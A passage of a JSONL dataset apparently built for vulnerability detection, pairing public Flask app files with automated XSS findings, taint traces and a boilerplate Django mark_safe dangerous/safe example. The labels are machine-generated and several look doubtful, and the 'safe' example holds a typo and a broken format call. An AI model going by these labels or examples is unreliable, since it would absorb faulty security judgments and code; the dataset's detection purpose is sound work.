117, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 117, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args"}}, {"lineNo": 117, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}]}}
{"id": "3b5435b87bdbc85bfdfa1c0f5be2c4dbf6143c9d21475b2ada5eb9680ba740f9", "license": {"spdx": ["MIT"], "repo": "rabo452/flipbook", "path": "api server/server/routes/front_routes.py", "repo_head_hexsha": "f892d568fd4acff84414098dfbad17867fc0fc7b", "stack_hexsha": "6d5b9db2ef3c280e75f116340f39ee60fd487560", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 25, "entireCode": "# routes for front-end part of project\n\nfrom flask import url_for, render_template, request\n\nfrom server import app\n\n\n@app.route('/', methods = ['GET'])\ndef index_page():\n    return render_template('/front-end/index.html')\n\n@app.route('/login', methods = ['GET'])\ndef login_page():\n    return render_template('/front-end/login.html')\n\n@app.route('/forgot', methods = ['GET'])\ndef forgot_page():\n    return render_template('/front-end/forgot.html')\n\n@app.route('/flipbook', methods = ['GET'])\ndef flipbook_page():\n    try:\n        id = request.args.get('id')\n        facebook_logo_image_url = request.url_root + url_for('files', filename=f'{id}/logo_image/logo.jpg')\n        return render_template('/front-end/flipbook.html', facebook_logo_image_url = facebook_logo_image_url)\n    except:\n        return render_template('/front-end/flipbook.html', facebook_logo_image_url = '')\n\n@app.route('/confirm-page', methods = ['GET'])\ndef confirm_page():\n    return render_template('/front-end/confirm-page.html')", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.url_root"}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "url_for"}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 25, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "b38d790a16d2e19e659bcb80286cde3336bda91c309b950a92cd30dcff4f45bd", "license": {"spdx": ["MIT"], "repo": "Aurangazeeb/tax_simulator_app", "path": "src/calculator_app.py", "repo_head_hexsha": "ecf2a55afab70edd6b32ad92576ebbdb9bc97133", "stack_hexsha": "975f4f2e2aa5d628f4a0e786b38370ba42280be8", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 22, "entireCode": "from flask import Flask, render_template, request, redirect, url_for\nfrom calculator_logic import find_take_home_OR\napi = Flask(__name__)\n\ntax_inputs = {}\n\n@api.route('/welcome/')\ndef hello_world():\n    # if request.method == 'GET':\n    return render_template('tax_welcomepage.html')\n\n@api.route('/tax_simulator/') #canonical url /link/ = /link\ndef tax_simulator():\n    return render_template('tax_inputpage.html')\n\n@api.route('/tax_inputs/', methods = ['POST'])\ndef display_inputs():\n    # if request.method == 'POST':\n    user_formdata = request.form\n    global tax_inputs\n    tax_inputs = request.form\n    return render_template('tax_read.html', user_data = user_formdata)\n\n@api.route('/tax_payable/', methods = ['POST'])\ndef final_action():\n    if request.form['submit'] == 'ok':\n        # user_formdata2 = request.form\n        # global tax_inputs\n        # print(tax_inputs)\n        # take_home, annual_tax_amt = find_take_home_OR(float(user_formdata2['gsalary']), user_formdata2['pfmode'])\n        take_home, annual_tax_amt = find_take_home_OR(float(tax_inputs['gsalary']), int(tax_inputs['pfmode']))\n        return render_template('tax_payable.html', take_home = take_home, annual_tax_amt = annual_tax_amt, name = tax_inputs['name'])\n    else:\n        return redirect(url_for('tax_simulator'))\n\nif __name__ == '__main__':\n    api.run(debug=True, host='0.0.0.0')", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 19, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 19, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 19, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 22, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "625883521786bcd71dbbdf6b9085a5cfb2539e46461c93f249cf11b9f0dca0a4", "license": {"spdx": ["MIT"], "repo": "mtik00/invoicer", "path": "invoicer/_login/__init__.py", "repo_head_hexsha": "6128202ca86823dc998b8ea661050702544b9b21", "stack_hexsha": "5adef8da9843a5dde1a9faa4f8073df12522f1a0", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 81, "entireCode": "from flask import (\n    Blueprint, render_template, request, flash, redirect, url_for, session)\n\nfrom flask_login import login_user, logout_user, login_required, current_user\n\nfrom ..common import is_safe_url\nfrom ..password import verify_password, hash_password\nfrom ..models import User\nfrom ..logger import AUTH_LOG\nfrom ..database import db\nfrom .forms import LoginForm, TwoFAEnableForm\n\n\nlogin_page = Blueprint('login_page', __name__, template_folder='templates')\n\n\ndef get_redirect_target():\n    for target in request.values.get('next'), request.referrer:\n        if not target:\n            continue\n        if is_safe_url(target):\n            return target\n\n\ndef redirect_back(endpoint, **values):\n    target = get_redirect_target()\n    if not target or not is_safe_url(target):\n        target = url_for(endpoint, **values)\n    return redirect(target)\n\n\n@login_page.route('/login', methods=['GET', 'POST'])\ndef login():\n    if current_user and current_user.is_authenticated:\n        return redirect(url_for('index_page.dashboard'))\n\n    next_url = get_redirect_target()\n    form = LoginForm(request.form)\n    error = False\n    hashed_password = ''\n\n    if form.validate_on_submit():\n        user = User.query.filter(User.username == form.username.data[:1024]).first()\n        hashed_password = user.hashed_password if user else ''\n\n        try:\n            verify_password(hashed_password, form.password.data[:1024])\n        except Exception:\n            error = True\n\n        if error:\n            # NOTE: You must not change this format without changing the\n            # fail2ban filter.\n            AUTH_LOG.error(\n                \"Invalid login for username [%s] from [%s]\",\n                    form.username.data[:1024],\n                    request.remote_addr,\n            )\n\n            flash('Invalid username and/or password', 'error')\n            return render_template('login/login.html', form=form, next_url=next_url), 401\n\n        if not user.is_active:\n            flash('You account is not active', 'error')\n            return redirect(url_for('.login'), code=401)\n\n        if getattr(user, 'rehash_password', False):\n            user.hashed_password = hash_password(form.password.data[:1024])\n            user.rehash_password = False\n            db.session.add(user)\n            db.session.commit()\n\n        if user.totp_enabled:\n            session['user_id'] = user.id\n            return redirect(url_for('.two_fa', next=next_url))\n\n        return complete_login(user)\n    elif form.errors:\n        flash(', '.join(form.errors), 'error')\n\n    return render_template('login/login.html', form=form, next_url=next_url)\n\n\n@login_page.route('/logout')\n@login_required\ndef logout():\n    current_user.is_authenticated = False\n    session.pop('logged_in', None)\n    session.pop('user_id', None)\n    logout_user()\n    flash('You were logged out', 'success')\n    return redirect(url_for('.login'))\n\n\n@login_page.route('/2fa', methods=['GET', 'POST'])\ndef two_fa(next=None):\n    next_url = next or get_redirect_target()\n    user = User.query.get(session['user_id'])\n    form = TwoFAEnableForm()\n\n    # import ipdb; ipdb.set_trace()\n    if form.validate_on_submit():\n        if user.verify_totp(form.token.data):\n            return complete_login(user)\n        else:\n            flash('Invalid 2FA token', 'error')\n            form.token.errors = ['Invalid 2FA token']\n\n    return render_template('login/2fa.html', form=form, next_url=next_url)\n\n\ndef complete_login(user):\n    login_user(user)\n    current_user.is_authenticated = True\n\n    session['logged_in'] = True\n    session['user_debug'] = user.application_settings.debug_mode\n    session['site_theme'] = user.profile.site_theme.name if user.profile.site_theme else 'black'\n    session['site_theme_top'] = user.profile.site_theme.top if user.profile.site_theme else '#777777'\n    session['site_theme_bottom'] = user.profile.site_theme.bottom if user.profile.site_theme else '#777777'\n\n    flash('You were logged in', 'success')\n\n    return redirect_back('index_page.dashboard')", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "LoginForm"}}, {"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 81, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "026f901a5880c0eedcc1e936bc0bc9057a99e758095d9a26990de8465280401a", "license": {"spdx": ["MIT"], "repo": "dlumian/emotion_face_classification", "path": "app/app_v4.py", "repo_head_hexsha": "dd7cae84f18f3977d1c8744dcdb69ae5326d3311", "stack_hexsha": "ae50b0d556e3241724ba8f14e01f6a51787516d7", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 86, "entireCode": "import os\nimport matplotlib \nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nfrom flask import Flask, render_template, request, jsonify, flash, redirect, url_for\nimport pickle\nfrom FaceDetector_v7 import EmotionFacePredictor\nimport json\nfrom werkzeug.utils import secure_filename\nimport tensorflow as tf \nglobal graph,model\n\ngraph = tf.get_default_graph()\nplt.ioff()\n\napp = Flask(__name__)\n\nhome = os.getcwd()\n# home = '/home/ubuntu/efc/src/'\ncv2_path = './'\nbestmodelfilepath = './CNN_cont.hdf5'\nefp = EmotionFacePredictor(home, cv2_path, bestmodelfilepath)\nefp.run_setup()\n\nUPLOAD_FOLDER = 'static/images/'\nprint(UPLOAD_FOLDER)\nALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif'])\n\nif not os.path.isdir(UPLOAD_FOLDER):\n    os.makedirs(UPLOAD_FOLDER)\n\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napp.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0\n\ndef allowed_file(filename):\n    return '.' in filename and \\\n           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n \n# prevent cached responses\n@app.after_request\ndef add_header(r):\n    \"\"\"\n    Add headers to both force latest IE rendering engine or Chrome Frame,\n    and also to cache the rendered page for 10 minutes.\n    \"\"\"\n    r.headers[\"Cache-Control\"] = \"no-cache, no-store, must-revalidate\"\n    r.headers[\"Pragma\"] = \"no-cache\"\n    r.headers[\"Expires\"] = \"0\"\n    r.headers['Cache-Control'] = 'public, max-age=0'\n    return r\n\n@app.route('/', methods=['GET', 'POST'])\ndef upload_file():\n    if request.method == 'POST':\n        # check if the post request has the file part\n        if 'file' not in request.files:\n            flash('No file part')\n            return redirect(request.url)\n        file = request.files['file']\n        # if user does not select file, browser also\n        # submit a empty part without filename\n        if file.filename == '':\n            flash('No selected file')\n            return redirect(request.url)\n        if file and allowed_file(file.filename):\n            filename = secure_filename(file.filename)\n            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n            return redirect(url_for('predict',\n                                    filename=filename))\n    return render_template('form/index.html')\n\n@app.route('/predict', methods=['GET','POST'])\ndef predict():\n    \"\"\"Recieve the article to be classified from an input form and use the\n    model to classify.\n    \"\"\"\n    response = request.args.get('filename')\n    image = os.path.join(app.config['UPLOAD_FOLDER'], response)\n    print(image)\n    with graph.as_default():\n        results = efp.classify_faces_image(image)\n    print(\"RESULTS HERE:\")\n    print(results)\n    if not results:\n        print(\"NOTHING TO SEE HERE\")\n        return render_template('form/no_face_found.html', response=image)\n    # else:\n    print(\"Found some faces!!\")\n    top_emotions = [efp.emo_list[x[0]] for x in results[1]]\n    return render_template('form/predict.html', \n                            orig_img=image, \n                            faces = results[0],\n                            top_emos = top_emotions)\n\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', debug=True)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 77, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 77, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args"}}, {"lineNo": 77, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 78, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "os.path.join"}}, {"lineNo": 78, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 84, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "84"}}, {"lineNo": 86, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "9e842efa702180ff76cce6ca405a3ec7525e05664aa1864e2e56cf1947036d13", "license": {"spdx": ["MIT"], "repo": "Nikolas-01/Lesson_18", "path": "application.py", "repo_head_hexsha": "e50b89a0dd7585ed0c0330af449b49041d91e9ef", "stack_hexsha": "a30ee1da8d04d631272538ee7159cf69b97d8cc4", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 81, "entireCode": "from flask import Flask, render_template, request\nfrom api_hh_skills import parsing_skills\nfrom api_hh_salary import parsing_av_salary\nfrom db_sqlalchemy_creator import Vacancy_info, City, Vacancy, Contacts\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy import exc\nfrom datetime import datetime\napp = Flask(__name__)\nengine = create_engine('sqlite:///orm1.sqlite', echo=False)\nBase = declarative_base()\n@app.route('/')\ndef main_index():\n    return render_template('index.html')\n@app.route('/request_sgk')\ndef request_sgk():\n     return render_template('request_sgk.html')\n@app.route('/request_api')\ndef request_api():\n    return render_template('request_api.html')\n@app.route('/parsing_answer', methods = ['POST'])\ndef parsing_answer():\n     city = request.form['city']\n     vacancy = request.form['vacancy']\n     # Получение информации по средней зарплате путем парсинга сайта\n     av_salary = round(parsing_av_salary(city, vacancy), 2)\n     if av_salary == 0:\n         av_salary = 'Нет информации'\n     # Получение информации об основных навыках путем парсинга сайта\n     skills_list = parsing_skills(city, vacancy)\n     len_skills = len(skills_list)\n     if len_skills == 0:\n         skills_info = 'Нет информации'\n     else:\n         skills_info = ''\n         for i in range(len_skills-1):\n            skills_info = skills_info + skills_list[i] + ', '\n         skills_info = skills_info + skills_list[len_skills-1]\n    # Наполнение шаблона для передачи информации на сайт\n     data = {\n             'city': city,\n             'vacancy': vacancy,\n             'av_salary': av_salary,\n             'skills_info': skills_info}\n     # Загрузка полученной информации в базу SQLAlchemy\n     try:\n         session.add(City(city))\n         session.commit()\n     except exc.IntegrityError:\n         session.rollback()\n\n     try:\n         session.add(Vacancy(vacancy))\n         session.commit()\n     except exc.IntegrityError:\n         session.rollback()\n     try:\n         session.add(Vacancy_info(session.query(City).filter(City.city == city).first().id,\n                                  session.query(Vacancy).filter(Vacancy.vacancy == vacancy).first().id,\n                                  av_salary, skills_info))\n         session.commit()\n     except exc.IntegrityError:\n         session.rollback()\n     return render_template('parsing_answer.html', data=data)\n@app.route('/contacts')\ndef contacts():\n     return render_template('contacts.html')\n@app.route('/contacts_ok', methods = ['POST'])\ndef contacts_ok():\n     email = request.form['email']\n     name = request.form['name']\n     post_mail = request.form['post_mail']\n     message = request.form['message'].strip()\n     # Загрузка полученной информации в базу SQLAlchemy + сегодняшняя дата\n     try:\n         session.add(Contacts(email, name, post_mail, message, datetime.today()))\n         session.commit()\n     except exc.IntegrityError:\n         session.rollback()\n     return render_template('contacts_ok.html', message=message)\n\nif __name__ == \"__main__\":\n    Base.metadata.create_all(engine)\n    Session = sessionmaker(bind=engine)\n    session = Session()\n    # app.run()  # в режиме отладки на одном компьютере\n    # хорош для начала разработки на локальном сервере. Но это потребует ручного перезапуска сервера после каждого изменения в коде.\n    # app.run(host='0.0.0.0') # сделать сервер общедоступным в локальной сети\n    app.run(debug=True) # сервер будет сам перегружаться после каждого изменения в коде", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 74, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 74, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 74, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form[\"message\"]"}}, {"lineNo": 74, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "strip"}}, {"lineNo": 74, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 81, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "40df6420286120e958901e5883e50070d3d550c5e8566710b9dcef3aeb61b446", "license": {"spdx": ["MIT"], "repo": "alexander-paskal/youtube-transcript-generator", "path": "app.py", "repo_head_hexsha": "5a8251b3d70e98efdb1046229bb4a53e17920742", "stack_hexsha": "c6819cfbab55dfa6c11481df011b3f6987d85cf6", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 25, "entireCode": "\"\"\"\nTo run this in a publically available setting, use --host=0.0.0.0\nat the command line\n\"\"\"\n\n\nfrom flask import Flask, render_template, request\nfrom typing import Dict\nfrom src.video_captions import Video\nimport datetime\n\n\napp = Flask(__name__)\n\n\n\n@app.route(\"/\",  methods=[\"GET\", \"POST\"])\ndef home():\n    if request.method == \"GET\":\n        return render_template(\"index.html\", transcript={}, default_url=\"\")\n\n    elif request.method == \"POST\":\n        url = request.form[\"url\"]\n        transcript = create_transcript_from_url(url)\n        return render_template('index.html', transcript=transcript, default_url=url)\n\n@app.route(\"/json/\")\ndef create_transcript(id: str) -> Dict:\n    \"\"\"\n    Accepts a url of a youtube video and returns a dictionary mapping timestamps to their transcript text\n    \"\"\"\n    url = fr\"https://www.youtube.com/watch?v={id}\"\n    video = Video(url)\n    caption_dict = video.get_caption_dict()\n    caption_json = jsonify_caption_dict(caption_dict)\n    return caption_json\n\ndef create_transcript_from_url(url: str) -> Dict:\n    \"\"\"\n    Accepts a url of a youtube video and returns a dictionary mapping timestamps to their transcript text\n    \"\"\"\n    video = Video(url)\n    caption_dict = video.get_caption_dict()\n    caption_json = jsonify_caption_dict(caption_dict)\n    return caption_json\n\n\n\n\n\n\ndef jsonify_caption_dict(caption_dict, format=\"%H:%M:%S\"):\n    \"\"\"\n    This function converts a caption dict into a valid json output. expects a\n    \"\"\"\n    DATETIME = 0\n    TITLE = 1\n    caption_json = dict()\n    for key, captions in caption_dict.items():  # key is a tuple (datetime, title: str)\n        dt = key[DATETIME]\n        title = key[TITLE]\n        time_str = datetime.datetime.strftime(dt, format)\n        json_key = f\"{time_str} {title}\"\n        json_captions = \" \".join([str(caption) for caption in captions])\n        json_captions = json_captions.replace(\"  \", \" \")\n        caption_json[json_key] = json_captions\n\n\n    return caption_json\n\n\n\nif __name__ == '__main__':\n    url = r\"https://www.youtube.com/watch?v=ClxRHJPz8aQ&t=3734s\"\n    video = Video(url)\n    caption_dict = video.get_caption_dict()\n    caption_json = jsonify_caption_dict(caption_dict)\n    print(caption_json)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 22, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "22"}}, {"lineNo": 23, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 23, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 23, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form[\"url\"]"}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "create_transcript_from_url"}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "create_transcript_from_url"}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "create_transcript_from_url"}}, {"lineNo": 25, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "9424be45acf4ba4b5e4344159e59be0d4ae0ee1849a7c16b2db2ede2906942aa", "license": {"spdx": ["Apache-2.0"], "repo": "wescpy/appengine-python2-3-migration", "path": "datastore/cloud-datastore/main.py", "repo_head_hexsha": "83d57ef43eac11fcff1f7e225691e4f360cb63e4", "stack_hexsha": "27881b32100f7e4c6dac160e5507d703362ce0cf", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's 